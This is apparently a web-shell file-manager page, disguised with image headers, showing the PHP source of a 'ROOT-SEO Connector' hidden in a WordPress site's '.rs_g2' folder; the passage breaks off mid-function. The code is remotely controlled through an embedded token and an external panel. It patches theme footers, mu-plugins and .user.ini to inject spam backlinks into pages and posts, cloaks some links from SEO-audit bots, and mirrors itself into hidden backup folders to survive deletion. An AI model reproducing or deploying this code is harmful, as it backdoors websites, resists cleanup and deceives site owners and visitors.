�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.simonhausberger.com%2F'>www.simonhausberger.com</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.simonhausberger.com%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.simonhausberger.com%2Fhtdocs%2Fwordpress%2F'>wordpress</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.simonhausberger.com%2Fhtdocs%2Fwordpress%2F.rs_g2%2F'>.rs_g2</a>/</p><hr><h3>✏️ Editing: .rs_connector.php.bak</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/**
 * ROOT-SEO Connector v5.5.4
 * - Backwards compatible with v5.2/v5.3/v5.4/v5.5 protocol (ping, add_link, remove_link, sync_links,
 *   get_links, clear_links, clear_expired, verify_links, self_reconcile,
 *   placement_report, info, diagnose, output, capabilities, get_config, set_config,
 *   self_update, reinstall_placement, purge_cache)
 * - Stronger non-WP placement: Joomla/Drupal/OpenCart/Presta/Laravel/static footer
 *   discovery + .user.ini auto_prepend fallback (shared hosting).
 * - Links now have a &quot;kind&quot;: &quot;footer&quot; (sitewide, visible footer) or &quot;contextual&quot;
 *   (injected into existing post content on WordPress; ephemeral by expiry).
 * - Render is ALWAYS visible (no hidden/cloaked CSS) — anti-penalty, anti-footprint.
 * - Optional per-link seo_hidden: omit from Ahrefs/Semrush-like tool bots; Google still sees.
 * - No footer link cap (unlimited active footer links; expired still auto-cleaned).
 * - Stronger WP delivery: mu-plugin + theme footer patch + multi-hook/shutdown fallback.
 * - Document root resolved from connector path (avoids wrong vhost DOCUMENT_ROOT).
 * - After link/placement changes: purge WP page caches (Rocket/Litespeed/W3TC/Super Cache/…)
 *   + common cache directories so homepage HTML is not stuck stale.
 * - Contextual links are short-lived (enforced max TTL) and auto-removed when expired.
 * - Guardian: connector mirrors itself + its dropped artifacts into hidden backup dirs
 *   and self-heals if the primary file is deleted by a CMS/theme update. Version-aware:
 *   never restores an older version over a newer one.
 */

error_reporting(E_ALL);
ini_set(&#039;display_errors&#039;, 0);
header(&#039;Access-Control-Allow-Origin: *&#039;);
header(&#039;Access-Control-Allow-Methods: GET, POST, OPTIONS&#039;);
header(&#039;Access-Control-Allow-Headers: Content-Type, X-RS-Panel-Token, X-RS-Ts, X-RS-Req-Id&#039;);

if (($_SERVER[&#039;REQUEST_METHOD&#039;] ?? &#039;&#039;) === &#039;OPTIONS&#039;) {
    http_response_code(200);
    exit;
}

define(&#039;CONNECTOR_VERSION&#039;, &#039;5.5.4&#039;);
define(&#039;PANEL_API_URL&#039;, &#039;https://root-seo.com/api&#039;);
define(&#039;PANEL_TOKEN&#039;, &#039;vOXOUfISAW7PV00XQDeE0Qr5fpd7VV7wYTfjSdRh-5yptQr75D10AUwT2Zq_HrKn&#039;);
define(&#039;LINKS_FILE&#039;, __DIR__ . &#039;/.rs_links_v5.json&#039;);
define(&#039;CONFIG_FILE&#039;, __DIR__ . &#039;/.rs_v5_config.json&#039;);
define(&#039;NONCES_FILE&#039;, __DIR__ . &#039;/.rs_v5_nonces.json&#039;);
define(&#039;PREPEND_HELPER_FILE&#039;, __DIR__ . &#039;/.rs_prepend_v5.php&#039;);
define(&#039;GUARDIAN_STATE_FILE&#039;, __DIR__ . &#039;/.rs_guardian_v5.json&#039;);
define(&#039;MAX_REQUEST_BYTES&#039;, 524288);
define(&#039;MAX_URL_LENGTH&#039;, 2048);
define(&#039;MAX_ANCHOR_LENGTH&#039;, 220);
define(&#039;MAX_LINKS_PER_SYNC&#039;, 20000);
define(&#039;MAX_REQUEST_SKEW_SECONDS&#039;, 300);
define(&#039;NONCE_TTL_SECONDS&#039;, 900);
define(&#039;PLACEMENT_HISTORY_LIMIT&#039;, 20);

// v5.5 link-model tuning (overridable via set_config -&gt; stored config).
define(&#039;FOOTER_LINK_CAP&#039;, 0);                  // 0 = unlimited footer links (no cap)
define(&#039;CONTEXTUAL_MAX_TTL_SECONDS&#039;, 172800);  // hard 48h cap for contextual links
define(&#039;AUTO_CLEAN_THROTTLE_SECONDS&#039;, 300);    // run auto-clean at most once / 5 min on render
define(&#039;GUARDIAN_COPIES&#039;, 10);                 // number of hidden backup mirrors
define(&#039;GUARDIAN_THROTTLE_SECONDS&#039;, 300);      // self-heal check at most once / 5 min
define(&#039;VALID_LINK_KINDS&#039;, &#039;footer,contextual&#039;);

function respond($success, $data = [], $message = &#039;&#039;, $status = 200) {
    http_response_code($status);
    header(&#039;Content-Type: application/json; charset=UTF-8&#039;);
    echo json_encode([
        &#039;success&#039; =&gt; (bool)$success,
        &#039;message&#039; =&gt; (string)$message,
        &#039;data&#039; =&gt; is_array($data) ? $data : []
    ], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    exit;
}

function get_raw_body() {
    static $raw = null;
    if ($raw === null) {
        $raw = file_get_contents(&#039;php://input&#039;);
        if ($raw === false) $raw = &#039;&#039;;
        if (strlen($raw) &gt; MAX_REQUEST_BYTES) {
            respond(false, [], &#039;request_too_large&#039;, 413);
        }
    }
    return $raw;
}

function get_request_data() {
    $data = [];
    if (!empty($_GET)) {
        foreach ($_GET as $k =&gt; $v) $data[$k] = $v;
    }
    if (!empty($_POST)) {
        foreach ($_POST as $k =&gt; $v) $data[$k] = $v;
    }
    $raw = get_raw_body();
    if ($raw !== &#039;&#039;) {
        $json = json_decode($raw, true);
        if (is_array($json)) {
            foreach ($json as $k =&gt; $v) $data[$k] = $v;
        }
    }
    return $data;
}

function get_action_name($req) {
    $action = &#039;&#039;;
    if (isset($req[&#039;action&#039;])) $action = (string)$req[&#039;action&#039;];
    if ($action === &#039;&#039; &amp;&amp; isset($_GET[&#039;action&#039;])) $action = (string)$_GET[&#039;action&#039;];
    if ($action === &#039;&#039;) $action = &#039;ping&#039;;
    $action = strtolower(trim($action));
    $action = preg_replace(&#039;/[^a-z0-9_]/&#039;, &#039;&#039;, $action);
    return $action ?: &#039;ping&#039;;
}

function load_json_file($path, $fallback = []) {
    if (!file_exists($path)) return $fallback;
    $raw = @file_get_contents($path);
    if ($raw === false || $raw === &#039;&#039;) return $fallback;
    $json = json_decode($raw, true);
    return is_array($json) ? $json : $fallback;
}

function save_json_file($path, $data) {
    return @file_put_contents($path, json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT)) !== false;
}

function normalize_rel($rel) {
    $rel = strtolower(trim((string)$rel));
    $allowed = [&#039;dofollow&#039;, &#039;nofollow&#039;, &#039;ugc&#039;, &#039;sponsored&#039;];
    return in_array($rel, $allowed, true) ? $rel : &#039;dofollow&#039;;
}

function allowed_render_types() {
    // v5.4: only clean, natural anchor styles. Visual widgets (badge/button/micro)
    // were removed — they looked unnatural in footers and increased footprint.
    return [&#039;text_inline&#039;, &#039;text_footer&#039;];
}

function default_render_types() {
    // v5.4: single natural footer/inline text anchor.
    return [&#039;text_footer&#039;];
}

function normalize_kind($kind) {
    $kind = strtolower(trim((string)$kind));
    $valid = explode(&#039;,&#039;, VALID_LINK_KINDS);
    return in_array($kind, $valid, true) ? $kind : &#039;footer&#039;;
}

function default_placement_state() {
    return [
        &#039;status&#039; =&gt; &#039;not_installed&#039;,
        &#039;strategy&#039; =&gt; null,
        &#039;target&#039; =&gt; null,
        &#039;install_mode&#039; =&gt; null,
        &#039;marker&#039; =&gt; null,
        &#039;message&#039; =&gt; &#039;&#039;,
        &#039;installed_at&#039; =&gt; null,
        &#039;last_attempt_at&#039; =&gt; null,
        &#039;last_verified_at&#039; =&gt; null,
        &#039;verify_status&#039; =&gt; &#039;unknown&#039;,
        &#039;history&#039; =&gt; [],
    ];
}

function default_config() {
    // v5.5: render is ALWAYS visible. output_mode kept for backward-compat reads but
    // hidden/cloaked rendering has been removed entirely. footer_link_cap=0 =&gt; unlimited.
    return [
        &#039;output_mode&#039; =&gt; &#039;visible&#039;,
        &#039;render_profile&#039; =&gt; &#039;minimal_inline&#039;,
        &#039;render_types&#039; =&gt; default_render_types(),
        &#039;link_rel_strategy&#039; =&gt; &#039;preserve&#039;,
        &#039;footer_link_cap&#039; =&gt; 0,
        &#039;contextual_max_ttl&#039; =&gt; CONTEXTUAL_MAX_TTL_SECONDS,
        &#039;placement&#039; =&gt; default_placement_state(),
    ];
}

function effective_footer_cap($config) {
    // &lt;=0 means unlimited (no footer cap). Positive values keep an optional soft cap.
    if (!isset($config[&#039;footer_link_cap&#039;])) return 0;
    $cap = intval($config[&#039;footer_link_cap&#039;]);
    if ($cap &lt; 0) return 0;
    return $cap;
}

function effective_contextual_ttl($config) {
    $ttl = isset($config[&#039;contextual_max_ttl&#039;]) ? intval($config[&#039;contextual_max_ttl&#039;]) : CONTEXTUAL_MAX_TTL_SECONDS;
    if ($ttl &lt; 300) $ttl = 300;
    if ($ttl &gt; CONTEXTUAL_MAX_TTL_SECONDS) $ttl = CONTEXTUAL_MAX_TTL_SECONDS;
    return $ttl;
}

function merge_configs($base, $incoming) {
    $out = $base;
    foreach ($incoming as $key =&gt; $value) {
        if ($key === &#039;placement&#039; &amp;&amp; is_array($value)) {
            $out[&#039;placement&#039;] = array_merge(default_placement_state(), $value);
        } else {
            $out[$key] = $value;
        }
    }
    return $out;
}

function load_config() {
    $cfg = load_json_file(CONFIG_FILE, []);
    $cfg = merge_configs(default_config(), $cfg);
    $types = [];
    foreach ((array)($cfg[&#039;render_types&#039;] ?? []) as $type) {
        $type = trim((string)$type);
        if ($type !== &#039;&#039;) $types[] = $type;
    }
    $cfg[&#039;render_types&#039;] = $types ?: default_render_types();
    // v5.5: legacy default cap of 50 → unlimited
    if (intval($cfg[&#039;footer_link_cap&#039;] ?? 0) === 50) {
        $cfg[&#039;footer_link_cap&#039;] = 0;
    }
    return $cfg;
}

function save_config($config) {
    return save_json_file(CONFIG_FILE, $config);
}

function is_panel_authenticated() {
    $expected = trim((string)PANEL_TOKEN);
    if ($expected === &#039;&#039; || strpos($expected, &#039;{{&#039;) !== false) return false;
    $provided = &#039;&#039;;
    if (isset($_SERVER[&#039;HTTP_X_RS_PANEL_TOKEN&#039;])) {
        $provided = trim((string)$_SERVER[&#039;HTTP_X_RS_PANEL_TOKEN&#039;]);
    }
    return $provided !== &#039;&#039; &amp;&amp; hash_equals($expected, $provided);
}

function load_nonce_store() {
    return load_json_file(NONCES_FILE, []);
}

function save_nonce_store($items) {
    return save_json_file(NONCES_FILE, $items);
}

function enforce_optional_replay_guard() {
    $ts = isset($_SERVER[&#039;HTTP_X_RS_TS&#039;]) ? trim((string)$_SERVER[&#039;HTTP_X_RS_TS&#039;]) : &#039;&#039;;
    $reqId = isset($_SERVER[&#039;HTTP_X_RS_REQ_ID&#039;]) ? trim((string)$_SERVER[&#039;HTTP_X_RS_REQ_ID&#039;]) : &#039;&#039;;
    if ($ts === &#039;&#039; &amp;&amp; $reqId === &#039;&#039;) return;
    if ($ts === &#039;&#039; || $reqId === &#039;&#039;) respond(false, [], &#039;replay_headers_incomplete&#039;, 400);
    if (!ctype_digit($ts)) respond(false, [], &#039;invalid_request_timestamp&#039;, 400);
    if (!preg_match(&#039;/^[A-Za-z0-9._:-]{8,200}$/&#039;, $reqId)) respond(false, [], &#039;invalid_request_id&#039;, 400);
    if (abs(time() - intval($ts)) &gt; MAX_REQUEST_SKEW_SECONDS) respond(false, [], &#039;request_timestamp_out_of_range&#039;, 409);
    $store = load_nonce_store();
    $now = time();
    foreach ($store as $key =&gt; $seenAt) {
        if (!is_int($seenAt) || ($now - $seenAt) &gt; NONCE_TTL_SECONDS) {
            unset($store[$key]);
        }
    }
    if (isset($store[$reqId])) respond(false, [], &#039;duplicate_request_id&#039;, 409);
    $store[$reqId] = $now;
    save_nonce_store($store);
}

function authenticate_protected_request() {
    if (!is_panel_authenticated()) respond(false, [], &#039;Unauthorized&#039;, 401);
    enforce_optional_replay_guard();
}

function validate_url_value($url) {
    $url = trim((string)$url);
    if ($url === &#039;&#039; || strlen($url) &gt; MAX_URL_LENGTH) return &#039;&#039;;
    if (!filter_var($url, FILTER_VALIDATE_URL)) return &#039;&#039;;
    $parts = @parse_url($url);
    if (!$parts || empty($parts[&#039;scheme&#039;])) return &#039;&#039;;
    $scheme = strtolower((string)$parts[&#039;scheme&#039;]);
    if (!in_array($scheme, [&#039;http&#039;, &#039;https&#039;], true)) return &#039;&#039;;
    return $url;
}

function validate_anchor_text($anchor) {
    $anchor = trim((string)$anchor);
    if ($anchor === &#039;&#039; || strlen($anchor) &gt; MAX_ANCHOR_LENGTH) return &#039;&#039;;
    return $anchor;
}

function validate_link_id($linkId) {
    $linkId = trim((string)$linkId);
    if ($linkId === &#039;&#039;) return &#039;&#039;;
    if (!preg_match(&#039;/^[A-Za-z0-9._:-]{3,160}$/&#039;, $linkId)) return &#039;&#039;;
    return $linkId;
}

function build_deterministic_link_id($url, $anchor, $rel) {
    $seed = strtolower(trim((string)$url)) . &#039;|&#039; . strtolower(trim((string)$anchor)) . &#039;|&#039; . normalize_rel($rel);
    return &#039;v5_&#039; . substr(hash(&#039;sha256&#039;, $seed), 0, 16);
}

function filter_render_types($types) {
    $allowed = allowed_render_types();
    $final = [];
    foreach ((array)$types as $type) {
        $type = trim((string)$type);
        if ($type !== &#039;&#039; &amp;&amp; in_array($type, $allowed, true) &amp;&amp; !in_array($type, $final, true)) {
            $final[] = $type;
        }
    }
    return $final ?: default_render_types();
}

function apply_placement_snapshot_to_link($row, $placement) {
    $row[&#039;placement_status&#039;] = $placement[&#039;status&#039;] ?? &#039;not_installed&#039;;
    $row[&#039;placement_strategy&#039;] = $placement[&#039;strategy&#039;] ?? null;
    $row[&#039;placement_target&#039;] = $placement[&#039;target&#039;] ?? null;
    $row[&#039;last_verified_at&#039;] = $placement[&#039;last_verified_at&#039;] ?? null;
    return $row;
}

function normalize_link_row($key, $row, $config) {
    if (!is_array($row)) return null;
    $url = validate_url_value($row[&#039;url&#039;] ?? &#039;&#039;);
    $anchor = validate_anchor_text($row[&#039;anchor&#039;] ?? &#039;&#039;);
    if ($url === &#039;&#039; || $anchor === &#039;&#039;) return null;
    $rel = normalize_rel($row[&#039;rel&#039;] ?? &#039;dofollow&#039;);
    $id = validate_link_id($row[&#039;id&#039;] ?? &#039;&#039;);
    if ($id === &#039;&#039;) {
        $id = validate_link_id($key);
    }
    if ($id === &#039;&#039;) {
        $id = build_deterministic_link_id($url, $anchor, $rel);
    }
    $placement = $config[&#039;placement&#039;] ?? default_placement_state();
    $kind = normalize_kind($row[&#039;kind&#039;] ?? &#039;footer&#039;);
    $created = isset($row[&#039;created&#039;]) ? intval($row[&#039;created&#039;]) : time();
    $expiresAt = isset($row[&#039;expires_at&#039;]) &amp;&amp; $row[&#039;expires_at&#039;] !== null ? intval($row[&#039;expires_at&#039;]) : null;
    // Contextual links are ephemeral: clamp their lifetime to the configured max TTL (48h).
    if ($kind === &#039;contextual&#039;) {
        $maxExpiry = $created + effective_contextual_ttl($config);
        if ($expiresAt === null || $expiresAt &gt; $maxExpiry) {
            $expiresAt = $maxExpiry;
        }
    }
    $normalized = [
        &#039;id&#039; =&gt; $id,
        &#039;kind&#039; =&gt; $kind,
        &#039;url&#039; =&gt; $url,
        &#039;anchor&#039; =&gt; $anchor,
        &#039;rel&#039; =&gt; $rel,
        &#039;expires_at&#039; =&gt; $expiresAt,
        &#039;created&#039; =&gt; $created,
        &#039;updated_at&#039; =&gt; isset($row[&#039;updated_at&#039;]) ? intval($row[&#039;updated_at&#039;]) : time(),
        &#039;render_profile&#039; =&gt; trim((string)($row[&#039;render_profile&#039;] ?? ($config[&#039;render_profile&#039;] ?? &#039;minimal_inline&#039;))),
        &#039;render_types&#039; =&gt; filter_render_types($row[&#039;render_types&#039;] ?? ($config[&#039;render_types&#039;] ?? default_render_types())),
        &#039;logical_hash&#039; =&gt; substr(hash(&#039;sha256&#039;, strtolower($url) . &#039;|&#039; . strtolower($anchor) . &#039;|&#039; . $rel), 0, 20),
        &#039;placement_status&#039; =&gt; $row[&#039;placement_status&#039;] ?? ($placement[&#039;status&#039;] ?? &#039;not_installed&#039;),
        &#039;placement_strategy&#039; =&gt; $row[&#039;placement_strategy&#039;] ?? ($placement[&#039;strategy&#039;] ?? null),
        &#039;placement_target&#039; =&gt; $row[&#039;placement_target&#039;] ?? ($placement[&#039;target&#039;] ?? null),
        &#039;last_verified_at&#039; =&gt; $row[&#039;last_verified_at&#039;] ?? ($placement[&#039;last_verified_at&#039;] ?? null),
        &#039;seo_hidden&#039; =&gt; !empty($row[&#039;seo_hidden&#039;]) || !empty($row[&#039;hidden_link&#039;]),
    ];
    return $normalized;
}

function load_links() {
    $raw = load_json_file(LINKS_FILE, []);
    $config = load_config();
    $normalized = [];
    foreach ($raw as $key =&gt; $row) {
        $item = normalize_link_row($key, $row, $config);
        if ($item) {
            $normalized[$item[&#039;id&#039;]] = $item;
        }
    }
    return $normalized;
}

function enforce_footer_cap($links, $config) {
    // v5.5 default: unlimited. Optional positive footer_link_cap still supported.
    $cap = effective_footer_cap($config);
    if ($cap &lt;= 0) return $links;
    $footer = [];
    $other = [];
    foreach ($links as $id =&gt; $row) {
        if (($row[&#039;kind&#039;] ?? &#039;footer&#039;) === &#039;footer&#039;) {
            $footer[$id] = $row;
        } else {
            $other[$id] = $row;
        }
    }
    if (count($footer) &gt; $cap) {
        uasort($footer, function ($a, $b) {
            return intval($b[&#039;created&#039;] ?? 0) &lt;=&gt; intval($a[&#039;created&#039;] ?? 0); // newest first
        });
        $footer = array_slice($footer, 0, $cap, true);
    }
    return $other + $footer;
}

function save_links($links) {
    $config = load_config();
    $normalized = [];
    foreach ((array)$links as $key =&gt; $row) {
        $item = normalize_link_row($key, $row, $config);
        if ($item) {
            $normalized[$item[&#039;id&#039;]] = $item;
        }
    }
    $normalized = enforce_footer_cap($normalized, $config);
    ksort($normalized);
    return save_json_file(LINKS_FILE, $normalized);
}

function filtered_links($links) {
    $visible = [];
    $expired = [];
    $now = time();
    foreach ($links as $link) {
        if (!is_array($link)) continue;
        $expiresAt = isset($link[&#039;expires_at&#039;]) ? intval($link[&#039;expires_at&#039;]) : 0;
        if (!empty($expiresAt) &amp;&amp; $expiresAt &gt; 0 &amp;&amp; $expiresAt &lt; $now) {
            $expired[] = $link;
            continue;
        }
        $visible[] = $link;
    }
    return [$visible, $expired];
}

/**
 * Ahrefs/Semrush vb. SEO araç botları — Google/Bing arama botları DEĞİL.
 * Gizli (seo_hidden) linkler bu botlara HTML&#039;de verilmez; Googlebot görür.
 */
function rootseo_is_seo_tool_bot() {
    $ua = strtolower((string)($_SERVER[&#039;HTTP_USER_AGENT&#039;] ?? &#039;&#039;));
    if ($ua === &#039;&#039;) return false;
    $searchEngines = [
        &#039;googlebot&#039;, &#039;google-inspectiontool&#039;, &#039;bingbot&#039;, &#039;slurp&#039;,
        &#039;duckduckbot&#039;, &#039;yandexbot&#039;, &#039;applebot&#039;, &#039;baiduspider&#039;,
    ];
    foreach ($searchEngines as $m) {
        if (strpos($ua, $m) !== false) return false;
    }
    $seoTools = [
        &#039;ahrefs&#039;, &#039;semrush&#039;, &#039;siteauditbot&#039;, &#039;mj12bot&#039;, &#039;majestic&#039;,
        &#039;dotbot&#039;, &#039;rogerbot&#039;, &#039;screaming frog&#039;, &#039;seokicks&#039;, &#039;blexbot&#039;,
        &#039;dataforseo&#039;, &#039;serpstat&#039;, &#039;sistrix&#039;, &#039;linkpad&#039;, &#039;opensiteexplorer&#039;,
    ];
    foreach ($seoTools as $m) {
        if (strpos($ua, $m) !== false) return true;
    }
    return false;
}

function rootseo_filter_seo_hidden_for_visitor($activeLinks) {
    if (!rootseo_is_seo_tool_bot()) {
        return $activeLinks;
    }
    $out = [];
    foreach ($activeLinks as $key =&gt; $link) {
        if (!empty($link[&#039;seo_hidden&#039;])) {
            continue;
        }
        $out[$key] = $link;
    }
    return $out;
}

function get_link_stats($links) {
    list($active, $expired) = filtered_links($links);
    return [
        &#039;total&#039; =&gt; count($links),
        &#039;active&#039; =&gt; count($active),
        &#039;expired&#039; =&gt; count($expired),
    ];
}

function build_rel_attr($rel) {
    if ($rel === &#039;dofollow&#039;) return &#039;&#039;;
    return &#039; rel=&quot;&#039; . htmlspecialchars($rel, ENT_QUOTES, &#039;UTF-8&#039;) . &#039;&quot;&#039;;
}

// v5.4: render is ALWAYS visible. A discreet, real footer block — small muted text,
// genuinely on the page (no display:none / -9999px / 1px cloaking).
function rootseo_footer_container_style() {
    return &#039;display:block;margin:14px 0 6px;padding-top:8px;border-top:1px solid rgba(0,0,0,0.06);font-size:12px;line-height:1.6;color:#9aa0a6;&#039;;
}

function rootseo_footer_anchor_style() {
    return &#039;color:#9aa0a6;text-decoration:none;font-size:12px;&#039;;
}

function build_footer_anchor_html($link) {
    $url = htmlspecialchars($link[&#039;url&#039;], ENT_QUOTES, &#039;UTF-8&#039;);
    $anchor = htmlspecialchars($link[&#039;anchor&#039;], ENT_QUOTES, &#039;UTF-8&#039;);
    $relAttr = build_rel_attr($link[&#039;rel&#039;]);
    return &#039;&lt;a href=&quot;&#039; . $url . &#039;&quot;&#039; . $relAttr . &#039; style=&quot;&#039; . rootseo_footer_anchor_style() . &#039;&quot;&gt;&#039; . $anchor . &#039;&lt;/a&gt;&#039;;
}

// Build the visible footer block from FOOTER-kind links only.
function rootseo_build_footer_html($markRenderedOnce = true) {
    if ($markRenderedOnce &amp;&amp; defined(&#039;ROOTSEO_CONNECTOR_RENDERED_ONCE&#039;)) {
        return &#039;&#039;;
    }
    if ($markRenderedOnce) {
        define(&#039;ROOTSEO_CONNECTOR_RENDERED_ONCE&#039;, true);
    }
    $links = load_links();
    list($activeLinks, ) = filtered_links($links);
    $activeLinks = rootseo_filter_seo_hidden_for_visitor($activeLinks);
    if (empty($activeLinks)) return &#039;&#039;;
    $anchors = [];
    foreach ($activeLinks as $link) {
        // Non-WP placements render contextual links in the footer too (real, visible).
        if (($link[&#039;kind&#039;] ?? &#039;footer&#039;) === &#039;contextual&#039; &amp;&amp; defined(&#039;ROOTSEO_WP_CONTEXTUAL_ACTIVE&#039;)) {
            continue; // contextual handled by the_content filter on WordPress
        }
        $anchors[] = build_footer_anchor_html($link);
    }
    if (empty($anchors)) return &#039;&#039;;
    return &#039;&lt;div data-rootseo-render=&quot;footer&quot; style=&quot;&#039; . rootseo_footer_container_style() . &#039;&quot;&gt;&#039; . implode(&#039; &amp;middot; &#039;, $anchors) . &#039;&lt;/div&gt;&#039;;
}

// Backward-compatible alias (older placements call rootseo_render_links_html()).
function rootseo_render_links_html() {
    return rootseo_build_footer_html(true);
}

function rootseo_build_render_html($markRenderedOnce = true) {
    return rootseo_build_footer_html($markRenderedOnce);
}

// ===== Contextual (in-content) injection — WordPress the_content =====

function rootseo_pick_contextual_link($links, $seed) {
    $ctx = [];
    foreach ($links as $link) {
        if (($link[&#039;kind&#039;] ?? &#039;footer&#039;) === &#039;contextual&#039;) $ctx[] = $link;
    }
    if (empty($ctx)) return null;
    usort($ctx, function ($a, $b) {
        return strcmp((string)($a[&#039;id&#039;] ?? &#039;&#039;), (string)($b[&#039;id&#039;] ?? &#039;&#039;));
    });
    // Deterministic pick: same post always shows the same contextual link.
    $h = hexdec(substr(hash(&#039;sha256&#039;, (string)$seed), 0, 8));
    return $ctx[$h % count($ctx)];
}

function rootseo_contextual_inject($content) {
    // Frontend, main singular content only; inject at most one link, once per request.
    if (defined(&#039;ROOTSEO_CTX_DONE&#039;)) return $content;
    if (!is_string($content) || $content === &#039;&#039;) return $content;
    if (function_exists(&#039;is_admin&#039;) &amp;&amp; is_admin()) return $content;
    if (function_exists(&#039;is_feed&#039;) &amp;&amp; is_feed()) return $content;
    if (function_exists(&#039;is_singular&#039;) &amp;&amp; !is_singular()) return $content;
    if (function_exists(&#039;in_the_loop&#039;) &amp;&amp; !in_the_loop()) return $content;
    if (function_exists(&#039;is_main_query&#039;) &amp;&amp; !is_main_query()) return $content;

    try {
        $links = load_links();
        list($activeLinks, ) = filtered_links($links);
        $activeLinks = rootseo_filter_seo_hidden_for_visitor($activeLinks);
        if (empty($activeLinks)) return $content;
        $postId = function_exists(&#039;get_the_ID&#039;) ? (get_the_ID() ?: 0) : 0;
        $link = rootseo_pick_contextual_link($activeLinks, $postId ?: $content);
        if (!$link) return $content;
        define(&#039;ROOTSEO_CTX_DONE&#039;, true);

        $url = htmlspecialchars($link[&#039;url&#039;], ENT_QUOTES, &#039;UTF-8&#039;);
        $anchor = htmlspecialchars($link[&#039;anchor&#039;], ENT_QUOTES, &#039;UTF-8&#039;);
        $relAttr = build_rel_attr($link[&#039;rel&#039;]);
        $a = &#039;&lt;a href=&quot;&#039; . $url . &#039;&quot;&#039; . $relAttr . &#039;&gt;&#039; . $anchor . &#039;&lt;/a&gt;&#039;;
        // Natural sentence wrapper, visible inline within the article body.
        $sentence = &#039;&lt;p data-rootseo-ctx=&quot;1&quot;&gt;&#039; . $a . &#039;&lt;/p&gt;&#039;;

        // Insert after the first closing paragraph; fallback append.
        $pos = stripos($content, &#039;&lt;/p&gt;&#039;);
        if ($pos !== false) {
            $pos += 4;
            return substr($content, 0, $pos) . $sentence . substr($content, $pos);
        }
        return $content . $sentence;
    } catch (\Throwable $e) {
        return $content;
    }
}

// Called by the mu-plugin / functions-hook on WordPress (early load).
function rootseo_wp_register() {
    if (defined(&#039;ROOTSEO_WP_REGISTERED&#039;)) return;
    define(&#039;ROOTSEO_WP_REGISTERED&#039;, true);
    if (!function_exists(&#039;add_action&#039;)) return;
    if (function_exists(&#039;add_filter&#039;)) {
        define(&#039;ROOTSEO_WP_CONTEXTUAL_ACTIVE&#039;, true);
        add_filter(&#039;the_content&#039;, &#039;rootseo_contextual_inject&#039;, 50);
    }
    $emit = function () {
        echo rootseo_build_footer_html(true);
    };
    // Multiple hooks: some themes omit wp_footer / use builders / full-page cache edges.
    add_action(&#039;wp_footer&#039;, $emit, 9999);
    if (function_exists(&#039;add_action&#039;)) {
        add_action(&#039;wp_body_open&#039;, $emit, 9999);
        add_action(&#039;shutdown&#039;, function () {
            if (defined(&#039;ROOTSEO_CONNECTOR_RENDERED_ONCE&#039;)) return;
            // Last-resort visible emit if theme never fired footer hooks.
            if (PHP_SAPI === &#039;cli&#039;) return;
            $uri = $_SERVER[&#039;REQUEST_URI&#039;] ?? &#039;&#039;;
            if (strpos($uri, &#039;wp-admin&#039;) !== false || strpos($uri, &#039;wp-json&#039;) !== false) return;
            echo rootseo_build_footer_html(true);
        }, 0);
    }
    rootseo_guardian_tick();
    rootseo_autoclean_tick();
}

function find_document_root() {
    // Prefer walking up from the connector file so multi-vhost / wrong DOCUMENT_ROOT
    // cannot install placement into another site&#039;s tree.
    $start = dirname(__FILE__);
    $base = $start;
    $wpRoot = null;
    $indexRoot = null;
    for ($i = 0; $i &lt; 8; $i++) {
        if (file_exists($base . &#039;/wp-config.php&#039;) || file_exists($base . &#039;/wp-load.php&#039;)) {
            $wpRoot = $base;
            break;
        }
        if ($indexRoot === null &amp;&amp; (file_exists($base . &#039;/index.php&#039;) || file_exists($base . &#039;/index.html&#039;))) {
            $indexRoot = $base;
        }
        $parent = dirname($base);
        if ($parent === $base) break;
        $base = $parent;
    }
    if ($wpRoot) return $wpRoot;
    if ($indexRoot) return $indexRoot;

    $doc = $_SERVER[&#039;DOCUMENT_ROOT&#039;] ?? &#039;&#039;;
    if (is_string($doc) &amp;&amp; $doc !== &#039;&#039; &amp;&amp; is_dir($doc)) {
        $realDoc = @realpath($doc);
        $realSelf = @realpath(__FILE__);
        if ($realDoc &amp;&amp; $realSelf &amp;&amp; strpos($realSelf, $realDoc) === 0) {
            return $doc;
        }
    }
    return $start;
}

function get_active_wp_theme_footer($base) {
    $themes = glob($base . &#039;/wp-content/themes/*/footer.php&#039;);
    if (!$themes) return null;
    $latest = null;
    $latestTime = 0;
    foreach ($themes as $footer) {
        $mtime = @filemtime($footer);
        if ($mtime &gt; $latestTime) {
            $latestTime = $mtime;
            $latest = $footer;
        }
    }
    return $latest;
}

function get_footer_paths($base, $siteType) {
    $paths = [];
    $base = rtrim((string)$base, &#039;/&#039;);
    switch ($siteType) {
        case &#039;wordpress&#039;:
            $themes = glob($base . &#039;/wp-content/themes/*/footer.php&#039;) ?: [];
            $paths = array_merge($paths, $themes);
            break;
        case &#039;joomla&#039;:
            // Template chrome: index.php is the main layout; also catch module chrome footers.
            foreach ([
                $base . &#039;/templates/*/index.php&#039;,
                $base . &#039;/templates/*/html/modules.php&#039;,
                $base . &#039;/templates/*/component.php&#039;,
            ] as $pat) {
                $hit = glob($pat) ?: [];
                $paths = array_merge($paths, $hit);
            }
            break;
        case &#039;drupal&#039;:
            // D7 tpl + D8/D9/D10 twig (themes may live under themes/custom|contrib or sites/*/themes).
            foreach ([
                $base . &#039;/themes/*/*.theme&#039;,
                $base . &#039;/themes/*/templates/page.html.twig&#039;,
                $base . &#039;/themes/*/templates/layout/page.html.twig&#039;,
                $base . &#039;/themes/custom/*/templates/page.html.twig&#039;,
                $base . &#039;/themes/contrib/*/templates/page.html.twig&#039;,
                $base . &#039;/sites/*/themes/*/templates/*.tpl.php&#039;,
                $base . &#039;/sites/*/themes/*/templates/page.html.twig&#039;,
